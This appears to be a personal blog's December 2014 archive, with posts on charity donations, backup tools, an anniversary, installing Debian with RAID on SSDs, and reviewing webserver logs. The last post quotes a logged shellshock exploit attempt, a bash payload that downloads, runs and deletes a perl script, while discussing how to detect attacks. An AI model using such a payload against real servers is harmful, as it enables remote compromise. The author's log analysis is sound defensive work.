Entries posted in December 2014

Reducing, or redirecting at least, charitable donations.

Tuesday, 30 December 2014

This is the time of year when there are lots of adverts shown on TV solicating donations for charities, which frequently end with the two words "thank you".

I've always felt there were too many charities in the world, and that it was hard to half-heartedly give money to one charity this month, one the next, and still another next year. On that basis I decided long ago to give my money solely to three charities. If I had money that was spare, or I felt generous that month, I would give it to one of "my" charities. Any other appeals I just ignored (with minor exceptions for one-off events like tsunamis, etc).

I won't claim credit for this idea, it came directly from my mom who does the same thing. I've given money to the same three charities for twenty years now. Maybe not thousands, but hopefully enough to be useful. Certainly more than I'd have given if my donation were split between more recipients.

Now I'm changing. As of next year only one charitable organization will get my pennies. The other two haven't done anything bad, wrong, or failed/succeeded (sadly), but it feels better for me to stick to a single recipient.

Happy Christmas.

(Details shouldn't matter, but to answer the obvious question the charity I've kept is the RNLI.)



Switched to using attic for backups

Friday, 19 December 2014

Even though seeing the word attic reminds me too much of leaking roofs and CVS, I've switched to using the attic backup tool.

I want a simple system which will take incremental backups, perform duplication-elimination (to avoid taking too much space), support encryption, and be fast.

I stopped using backup2l because the .tar.gz files were too annoying, and it was too slow. I started using obnam because I respect Lars and his exceptionally thorough testing-regime, but had to stop using it when things started getting "too slow".

I'll document the usage/installation in the future. For the moment the only annoyance is that it is contained in the Jessie archive, not the Wheezy one. Right now only 2/19 of my hosts are Jessie.



An anniversary and a retirement

Thursday, 11 December 2014

On this day last year I we got married.

This morning my wife cooked me breakfast in bed for the second time in her life, the first being this time last year. In thanks I will cook a three course meal this evening.


In unrelated news the BlogSpam service will be retiring the XML/RPC API come 1st January 2015.

This means that any/all plugins which have not been updated to use the JSON API will start to fail.

Fingers crossed nobody will hate me too much..

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I eventually installed Debian on a new desktop.

Sunday, 7 December 2014

Recently I build a new desktop system. The hightlights of the hardware are a pair of 512Gb SSDs, which were to be configured in software RAID for additional speed and reliability (I'm paranoid that they'd suddenly stop working one day). From power-on to the (GNOME) login-prompt takes approximately 10 seconds.

I had to fight with the Debian installer to get the beast working though as only the Jessie Beta 2 installer would recognize the SSDs, which are Crucual MX100 devices. My local PXE-setup which deploys the daily testing installer, and the wheezy installer, both failed to recognize the drives at all.

The biggest pain was installing grub on the devices. I think this was mostly this was due to UFI things I didn't understand. I created spare partitions for it, and messaged around with grub-ufi, but ultimately disabled as much of the "fancy modern stuff" as I could in the BIOS, leaving me with AHCI for the SATA SSDs, and then things worked pretty well. After working through the installer about seven times I also simplified things by partitioning and installing on only a single drive, and only configured the RAID once I had a bootable and working system.

(If you've never done that it's pretty fun. Install on one drive. Ignore the other. Then configure the second drive as part of a RAID array, but mark the other half as missing/failed/dead. Once you've done that you can create filesystems on the various /dev/mdX devices, rsync the data across, and once you boot from the system with root=/dev/md2 you can add the first drive as the missing half. Do it patiently and carefully and it'll just work :)

There were some niggles though:

  • Jessie didn't give me the option of the gnome desktop I know/love. So I had to install gnome-session-fallback. I also had to mess around with ~/.config/autostart because the gnome-session-properties command (which should let you tweak the auto-starting applications) doesn't exist anymore.

  • Setting up custom keyboard-shortcuts doesn't seem to work.

  • I had to use gnome-tweak-tool to get icons, etc, on my desktop.

Because I assume the SSDs will just die at some point, and probably both on the same day, I installed and configured obnam to run backups. There is more testing and similar, but this is the core of my backup script:


# backup "/" - minus some exceptions.
obnam backup -r /media/backups/storage --exclude=/proc --exclude=/sys --exclude=/dev --exclude=/media /

# keep files for various periods
obnam forget --keep="30d,8w,8m" --repository /media/backups/storage



Paying attention to webserver logs

Tuesday, 2 December 2014

If you run a webserver chances are high that you'll get hit by random exploit-attempts. Today one of my servers has this logged - an obvious shellshock exploit attempt: blog.steve.org.uk - [02/Dec/2014:11:50:03 +0000] \
"GET /cgi-bin/dbs.cgi HTTP/1.1" 404 2325 \
 "-" "() { :;}; /bin/bash -c \"cd /var/tmp ; wget ; \
curl -O;perl pis;rm -rf pis\"; node-reverse-proxy.js"

Yesterday I got hit with thousands of these referer-spam attempts: - - [02/Dec/2014:01:06:25 +0000] "GET / HTTP/1.1"  \
200 7425 "http://buttons-for-website.com" \
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36"

When it comes to stopping dictionary attacks against SSH servers we have things like denyhosts, fail2ban, (or even non-standard SSH ports).

For Apache/webserver exploits we have? mod_security?

I recently heard of apache-scalp which seems to be a project to analyse webserver logs to look for patterns indicative of attack-attempts.

Unfortunately the suggested ruleset comes from the PHP IDS project and are horribly bad.

I wonder if there is any value in me trying to define rules to describe attacks. Either I do a good job and the rules are useful, or somebody else things the rules are bad - which is what I thought of hte PHP-IDS set - I guess it's hard to know.

For the moment I look at the webserver logs every now and again and shake my head. Particularly bad remote IPs get firewalled and dropped, but beyond that I guess it is just background noise.




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